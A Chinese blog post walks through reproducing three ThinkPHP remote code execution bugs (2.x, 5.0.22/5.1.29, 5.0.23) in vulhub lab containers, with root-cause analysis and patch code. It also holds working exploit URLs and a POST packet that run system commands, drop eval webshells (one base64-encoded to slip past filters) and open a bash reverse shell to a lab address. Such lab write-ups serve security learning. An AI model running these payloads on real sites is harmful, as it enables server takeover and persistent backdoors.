thinkphp漏洞复现

thinkphp2.x任意代码执行漏洞

1
2
漏洞条件:thinkphp2.x&&php版文为5.6.29以下
漏洞利用目标函数:preg_replace /e

漏洞实验环境

1
2
靶机:kali虚拟机
攻击机:Windows11

为了方便,这里用的是vulhub靶场vulhub官网
vulhub靶场下载
vulhub介绍
vulhub是一个开源漏洞靶场,可以在安装docker和docker-compose后,使用简单的指令搭建漏洞环境,具体介绍可以看官网。可以安装在windows、linux上

开启vulhub靶场–打开docker

1
2
cd vulhub-master/thinkphp/2-rce
docker-compose up -d

通过docker ps查看开启的8080端口

通过命令ifconfig查看虚拟机的ip来准备侵入

输入错误的url地址报错显示thinkPHP版本信息为2.1

通过浏览器插件Wappalyzer可以看到php版本为5.5.38,小于5.6.29版本,满足条件

漏洞利用方式:

查看phpinfo()

1
http://xx.xx.xx.xx:8080/index.php?s=/a/b/c/${phpinfo()}

构造一句话木马

1
http://192.168.190.131:8080/index.php?s=/a/b/c/${print(eval($_POST[a]))}


也可以使用蚁剑链接
这就是漏洞的利用方式

漏洞原理:

漏洞存在的文件

1
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

参考文章https://www.kancloud.cn/manual/thinkphp5_1/353955得到:url访问规则

1
2
3
4
5
6
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块控制器/操作/[参数名/参数值...]


如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件) ?s=/模块/控制器/操作/[参数名/参数值...]

关键漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$depr = C('URL_PATHINFO_DEPR');
// 分析PATHINFO信息
self::getPathInfo();

if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}

利用preg_replace的/e模式匹配路由

1
2
3
4
5
6
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
preg_replace('正则规则','替换字符','目标字符')
//正则表达式:'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e'
//替换字符:'$var[\'\\1\']="\\2";'
//目标字符: implode($depr,$paths)
//这个函数5.2~5.6都可以执行,但是到了版本7以上,就已经不支持/e修饰符了

先看到$var['\1']=”\2”;,而$var是一个array
结合代码理解一下
代码一: 注意看当前的变量a值为字符串,且该字符串本脚本没有相同的函数名

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
[bbbGoodGoodStudybbb]

代码二:注意看当前的变量a值为test()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='test()';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run .[bbbbbb]

可以发现执行了test()这个函数,但是并没有传递参数进去

代码三:注意看当前的变量a值为test(“\1”)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run helloworld .[bbbbbb]

可以发现执行了test()这个函数,我们表面传递的参数是”\1”,结果表面参数确实传递进去了,但是本例传进去的是helloworld,helloworld是经过preg_replace()函数匹配要替换掉的原本那部分,现在转而成了参数进行传递了。
那我们假设现在$b的值是可控的,用户可以传参控制。

代码四:控制$b传递一个已知变量$c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='test("\1")';
$b='aaa$caaa';
$c="CXK";

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run CXK .

基于这个结果,在php当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。

代码五:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

echo phpversion();
echo "\n";

$a = "CXK";

echo "aaaaa{${a}}aaaaaa";
echo "\n";

echo "aaaaa${phpversion()}aaaaaa";

运行结果:
5.6.19
aaaaaCXKaaaaaa
Notice: Undefined variable: 5.6.19 in <b>[...][...] on line 11
aaaaaaaaaaa

可以看到,因为没有一个变量名为5.6.19所以报错了,但是代码却执行了,有点像报错注入的感觉

回到ThinkPHP的代码中来,可控的位置为implode($depr,$paths),implode()是将数组转成字符串,而’$var['\1']=”\2”;’是对一个数组做操作。

来分析一下正则(\w+)/([^/]+),这个正则的意思是取路径的每两个参数。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);


print_r($var);

运行结果:
Array
(
[a] => b
[c] => d
[e] => f
)

通过上面的代码,更加清晰的是取出每2个参数,然后第一个参数作为数组的键,第二个参数作为数组的值,那么在这个过程中,上述例子如果$b可控,同样会发生代码执行。

代码:此时$b采用的是双引号闭合的,注意如果采用单引号则不会有代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b="a/{${phpversion()}}/c/d/e/f";
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);


print_r($var);
运行结果:
Notice: Undefined variable: 5.4.6 in [...][...]on line 5
Array
(
[c] => d
[e] => f
)

需要说明的是,代码执行的位置,必须是数组的位置而不是键的位置。
然后再回到ThinkPHP的代码中来

1
2
3
4
5
6
7
8
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);

数组$var在路径存在模块和动作时,会去除掉前两个值。而数组$var来自于explode($depr,trim($_SERVER[‘PATH_INFO’],’/‘));也就是路径。
所以我们可以构造poc如下:

1
2
3
4
5
6
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

参考博客链接
https://www.freebuf.com/column/223149.html
https://www.cnblogs.com/cute-puli/p/14656631.html
https://blog.csdn.net/Hezhoutheone/article/details/120367626

简单总结,Thinkphp2x漏洞利用了thinkphp的路由规则,如/a/b/c/d,解析为键值对,在解析URL参数时,使用了preg_replace函数的/e修饰符(PHP5.5版本抛弃了此设定),该修饰符允许将替换字符作为PHP代码执行,我们可以利用这一点实现RCE。修复此漏洞可以进行URL参数过滤,升级thinkphp版本是最优解,因为thinkphp2x版本是老版本,应该选择中间稳定的版本,不仅避免了漏洞,还优化了服务。

thinkphp5 5.0.22/5.1.29 远程代码执行漏洞

漏洞原理

Thinkphp是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误的处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。

环境搭建

1
2
3
4
5
cd vulhub-master/thinkphp/5-rce

docker-compose up -d

docker ps

漏洞分析

Thinkphp v5.0.x 补丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

关键代码:
/var/www/thinkphp/library/think/App.php

修复

1
2
3
4
5
6
7
8
9
10
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

$controller = $convert ? strtolower($controller) : $controller;

// 获取操作名

漏洞发现

TideFinger

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g

下载地址:关注”Tide安全团队”公众号,回复指纹,下载Golang版TideFinger

1
./TideFinger_Linux -u http://192.168.201.128:8080/ -pd

afrog

项目地址:https://github.com/zan8in/afrog
下载地址:https://github.com/zan8in/afrog/releases下载linux amd64的

xray

下载地址:https://download.xray.cool/xray/1.9.4

1
xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output ming.html

操作较为繁杂,直接看教程
xray使用教程
打开生成的网页ming.html

thinkphp_scan

下载地址:https://github.com/anx0ing/thinkphp_scan

thinkphpRCE

下载地址https://github.com/sukabuliet/ThinkphpRCE

蓝鲸


漏洞验证利用

phpinfo

payload

1
http://192.168.201.128:8080/index.php/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

任意代码执行
payload

1
http://192.168.201.128:8080/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell
payload

1
2
3
<?php phpinfo(); eval(@$_POST['cmd']); ?>

http://192.168.201.128:8080/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST%5B'cmd'%5D)%3B%20%3F%3E

蚁剑连接后门

反弹shell

1
http://192.168.201.128:8080/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.5/5678+0>%261'

ThinkPHP 5.x 远程命令执行漏洞分析与复现

thinkphp5 5.0.23 远程代码执行漏洞

漏洞原理

在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误的对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

环境搭建

1
2
3
4
5
cd vulhub-master/thinkphp/5.0.23-rce

docker-compose up -d

docker ps

漏洞发现

TideFinger

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

1
TideFinger.exe -u http://192.168.201.128:8080/ -pd

afrog

项目地址:https://github.com/zan8in/afrog
下载地址:https://github.com/zan8in/afrog/releases

xray

1
xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output ming1.html

thinkphp_scan

项目地址:https://github.com/anx0ing/thinkphp_scan

ThinkphpRCE

项目地址:https://github.com/sukabuliet/ThinkphpRCE

蓝鲸

漏洞验证利用

发送如下数据包,尝试执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.201.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://192.168.201.128:8080
Connection: close
Referer: http://192.168.201.128:8080/
Upgrade-Insecure-Requests: 1
Priority: u=1

_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=id

传后门

1
2
3
4
5
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php phpinfo(); eval(@$_REQUEST['cmd']); ?>' > shell3.php

这里不能用 get 和 post 只能用 request
<?php @eval($_GET["cmd"]);?> 失败
<?php @eval($_POST["cmd"]);?> 失败

成功连接到蚁剑

整个新姿势,base64编码绕过过滤

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgcGhwaW5mbygpOyBldmFsKEAkX1JFUVVFU1RbJ2NtZCddKTsgPz4= | base64 -d > shell1.php


thinkphp漏洞复现
http://example.com/2024/05/15/thinkphp/
作者
奇怪的奇怪
发布于
2024年5月15日
许可协议